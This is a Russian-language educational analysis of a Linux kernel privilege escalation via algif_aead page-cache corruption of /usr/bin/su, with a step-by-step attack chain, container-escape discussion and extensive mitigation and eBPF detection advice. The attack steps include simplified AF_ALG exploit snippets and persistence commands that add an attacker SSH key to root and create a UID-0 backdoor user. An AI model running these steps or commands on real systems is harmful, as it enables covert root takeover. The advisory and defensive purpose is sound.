CVE-2026-31431 — Copy Fail: Повышение привилегий в ядре Linux

Образовательный анализ уязвимости Copy Fail в ядре Linux.
Рассматриваются механизм повреждения памяти, цепочка повышения привилегий, побег из контейнера и меры защиты.

⚠️ Отказ от ответственности

Этот репозиторий предназначен только для образовательных и исследовательских целей.
Не используйте эту информацию на системах, которыми вы не владеете или на тестирование которых у вас нет явного письменного разрешения.
Все фрагменты кода и команды предоставлены исключительно для понимания внутреннего устройства ядра Linux.

Содержание

• Обзор
• Паспорт уязвимости
• Базовые концепции
• Как работает ошибка
• Полная цепочка атаки
• Почему это так опасно
• Безопасное практическое наблюдение
• Защита и обнаружение
• Сравнение с похожими CVE
• Глоссарий
• Краткая справка

Обзор

CVE-2026-31431, также известная как Copy Fail, — это уязвимость ядра Linux, позволяющая непривилегированному локальному пользователю повысить привилегии до root без каких-либо специальных разрешений.

Атака полностью происходит в оперативной памяти. Файл на диске никогда не затрагивается — контрольные суммы файлов остаются чистыми, временные метки не меняются, а журналы аудита ничего не фиксируют. После перезагрузки системы все улики исчезают.

Обычный пользователь  →  эксплойт ошибки algif_aead  →  перезапись page cache  →  root

Ключевые свойства:

• ✅ Нет состояния гонки — работает надёжно каждый раз
• ✅ Диск не затрагивается — криминалистика ничего не находит
• ✅ Требуется только стандартная локальная учётная запись
• ✅ Позволяет совершить побег из контейнера через общий page cache

Паспорт уязвимости

Базовые концепции

/usr/bin/su — целевой бинарный файл

su (Switch User) позволяет пользователю переключиться на другую учётную запись — обычно root. Это SetUID-бинарный файл:

ls -l /usr/bin/su
# -rwsr-xr-x 1 root root 68208 Jan 1 2026 /usr/bin/su
#   ^-- 's' = флаг SetUID

Флаг s означает: когда любой пользователь запускает этот бинарный файл, он выполняется с правами root. Это делает его ценной целью.

Его внутренняя логика (упрощённо):

if (password_correct()) {
    give_root_access();
} else {
    deny_access();
}

Цель атаки: полностью пропустить проверку password_correct().

RAM и page cache

Когда Linux читает файл с диска, он сохраняет его копию в RAM, называемую page cache.

cat /proc/meminfo | grep Cached
# Cached: 1234567 kB  ← это page cache

Буфер и безопасный буфер

AF_ALG и algif_aead

AF_ALG (Algorithm Family) — это сокетный интерфейс Linux, позволяющий программам пользовательского пространства использовать криптографические функции ядра (AES, SHA, AEAD).

socket(AF_ALG, SOCK_SEQPACKET, 0);  // открыть крипто-сокет

algif_aead — это модуль ядра, обрабатывающий AEAD-шифрование (например, AES-GCM) через AF_ALG. Уязвимость находится в его шаге копирования данных.

AF_ALG  →  algif_aead  →  движок AES-GCM  →  выходной буфер
                                ↑
                           ЗДЕСЬ ОШИБКА

Как работает ошибка

Ошибка не в логике шифрования. Она в работе с памятью — при копировании данных выбирается неверная область памяти.

Нормальный поток (без ошибки):

destination = safe_output_buffer;       // правильное место
memcpy(destination, user_data, size);   // данные записаны безопасно

Уязвимый поток (с ошибкой):

destination = buffer + WRONG_OFFSET;    // ОШИБКА: неверный указатель!
memcpy(destination, user_data, size);   // данные попадают в page cache

Ядро должно было записать в безопасный выходной буфер. Из-за неверно рассчитанного смещения оно записывает в page cache — где хранится копия /usr/bin/su в RAM.

Что атакующий меняет в памяти

Бинарный файл содержит машинный код x86-64. Атакующий нацеливается на условный переход, вызывающий сбой аутентификации:

До атаки:

cmp  eax, 0     ; проверка возвращаемого значения
jne  0x1234     ; если ошибка → переход к отказу
call give_root  ; предоставить root

После атаки (2 байта изменены в RAM):

cmp  eax, 0     ; то же самое
90 90           ; NOP NOP ← переход заменён, проверка пропущена!
call give_root  ; CPU попадает сюда напрямую

NOP = No Operation (нет операции). CPU ничего не делает и переходит дальше — полностью пропуская проверку аутентификации.

Полная цепочка атаки

Настрой перед атакой

«Мне нужна только обычная учётная запись пользователя. Ядро само совершит ошибку.
Диск останется чистым. Никаких журналов. Работает каждый раз.»

Шаг 0 — Разведка

whoami && id
# uid=1000(user) gid=1000(user) ← обычный пользователь

uname -r
# 6.1.0-generic ← в уязвимом диапазоне

ls -la /usr/bin/su
# -rwsr-xr-x root root ← SetUID подтверждён

python3 -c "import socket; s = socket.socket(socket.AF_ALG); print('AF_ALG available')"

Шаг 1 — Загрузка файла в page cache

cat /usr/bin/su > /dev/null
# /usr/bin/su теперь загружен в page cache ✓

Шаг 2 — Обратная разработка бинарного файла

xxd /usr/bin/su | head -50
objdump -d /usr/bin/su | grep -A 20 'check\|auth\|pass'
readelf -h /usr/bin/su

Ищем: адрес функции аутентификации, условный переход jne/jnz и его точное байтовое смещение.

Шаг 3 — Открытие сокета AF_ALG

import socket, struct

sock = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)
sock.bind(('aead', 'gcm(aes)', 0, 16))
sock.setsockopt(socket.SOL_ALG, socket.ALG_SET_KEY, b'A' * 16)

Шаг 4 — Отправка сформированной полезной нагрузки

payload = b'\x90\x90'  # NOP NOP — заменяет условный переход
conn = sock.accept()
conn[0].sendmsg([payload], [(socket.SOL_ALG, socket.ALG_SET_IV, ...)])

Шаг 5 — Ядро перезаписывает page cache

# Внутри ядра (упрощённо):
destination = buffer + crafted_offset  # ОШИБКА: неверный указатель
memcpy(destination, payload, 2)        # байты NOP записаны в page cache
# Проверка пароля /usr/bin/su теперь NOP NOP в RAM

Шаг 6 — Запуск

su
# Password: (что угодно — или просто Enter)
# root@victim:/# ← ПОЛУЧЕН ROOT

Что произошло: Система выполнила /usr/bin/su из RAM. Проверка пароля была NOP. CPU пропустил её. give_root() был вызван напрямую.

Шаг 7 — Закрепление (необязательно)

echo 'attacker_public_key' >> /root/.ssh/authorized_keys

useradd -o -u 0 -g 0 backdoor
echo 'backdoor:password' | chpasswd

Почему это так опасно

Нет состояния гонки

Диск не тронут — криминалистика бессильна

После атаки следователь-криминалист обнаружит:

sha256sum /usr/bin/su       # ТА ЖЕ контрольная сумма, что и раньше ← диск не тронут
diff /usr/bin/su backup/su  # Нет различий
grep -r 'attack' /var/log/  # Ничего
auditd logs                 # Записи о записи файла отсутствуют

После перезагрузки RAM очищается — все улики исчезают.

Побег из контейнера

Контейнеры изолируют пользовательское пространство — но ядро является общим, а page cache — это память ядра.

Ядро хоста
├── Контейнер 1 (изолированное пользовательское пространство)
│   └── Здесь находится атакующий
├── Контейнер 2
└── Процесс хоста

Page Cache: ОБЩИЙ для всех контейнеров и хоста!

Путь побега: Атакующий в Контейнере 1 читает /usr/bin/su хоста → запускает ошибку → бинарный файл хоста изменён в RAM → запуск su на хосте даёт root на хостовой машине.

Затронуты: Docker, Podman, LXC, Kubernetes (общие узлы) — если ядро хоста уязвимо.

Безопасное практическое наблюдение

Это упражнения только для наблюдения. Для любого тестирования используйте лабораторную среду (Docker + ВМ со старым ядром).

Наблюдение за page cache

free -h                      # запомните значение Cache до
cat /usr/bin/su > /dev/null  # загрузите файл в page cache
free -h                      # Cache немного увеличится

Просмотр отображения памяти бинарного файла

su &
sleep 1
PID=$(pgrep su | head -1)
cat /proc/$PID/maps | grep su

Изучение бинарного файла

xxd /usr/bin/su | head -20
strings /usr/bin/su | grep -E 'pass|auth|root|fail'

Просмотр ассемблерного кода (gdb)

sudo apt install gdb -y
gdb /usr/bin/su
(gdb) disassemble main
(gdb) info functions
(gdb) quit

Контрольная сумма диска и RAM

sha256sum /usr/bin/su
# Обычно совпадает с диском — отличается после успешной атаки
# Сравнение /proc/PID/mem требует прав root

Защита и обнаружение

Немедленное смягчение

Приоритет 1 — Обновление ядра (лучшее решение)

# Ubuntu / Debian
sudo apt update && sudo apt upgrade linux-image-$(uname -r)
sudo reboot

# RHEL / CentOS
sudo yum update kernel
sudo reboot

Приоритет 2 — Отключение algif_aead

sudo modprobe -r algif_aead

echo 'install algif_aead /bin/false' | \
  sudo tee /etc/modprobe.d/disable-algif-aead.conf

Приоритет 3 — Контроль доступа
Примените профили seccomp с SystemCallFilter в службах systemd, чтобы ограничить доступ к сокетам AF_ALG для недоверенных процессов.

Обнаружение

Обнаружение в реальном времени с помощью eBPF

sudo bpftrace -e '
  kprobe:algif_aead_sendmsg {
    printf("ALERT: algif_aead sendmsg by PID %d (user %d)\n", pid, uid);
  }
'

Укрепление контейнеров

# Запуск с профилем seccomp (блокирует AF_ALG)
docker run --security-opt seccomp=custom-profile.json my-image

• Используйте профили seccomp, блокирующие создание сокетов AF_ALG
• Используйте gVisor или аналогичную изоляцию ядра для высокорисковых рабочих нагрузок
• Избегайте привилегированных контейнеров
• Устанавливайте корневую файловую систему контейнера в режим только для чтения
• Применяйте стандарты безопасности Pod в Kubernetes — политику restricted

Сравнение с похожими CVE

CVE-2026-31431 сочетает скрытность (диск не изменён) + надёжность (нет состояния гонки) + побег из контейнера — что делает её уникально опасной среди своего класса.

Глоссарий

Краткая справка

Цепочка атаки с первого взгляда

Контрольный список защиты

• Немедленно обновите ядро до исправленной версии
• Отключите модуль algif_aead, если он не требуется
• Включите мониторинг на уровне ядра eBPF или Falco
• Обновите профили seccomp контейнеров для блокировки AF_ALG
• Запланируйте проверки целостности бинарных файлов на основе памяти
• Пересмотрите и обновите план реагирования на инциденты

Одной строкой

В CVE-2026-31431 криптомодуль Linux (algif_aead) содержит ошибку копирования памяти, из-за которой данные, контролируемые атакующим, попадают в page cache вместо безопасного выходного буфера — незаметно изменяя SetUID-бинарный файл в RAM — что позволяет любому локальному пользователю получить root-доступ, не оставляя ни единого следа на диске.

Этот документ подготовлен для образовательного понимания внутренней безопасности ядра Linux.
— Только в образовательных целях —

📄 Полный отчёт (PDF)

👉 Скачать полный отчёт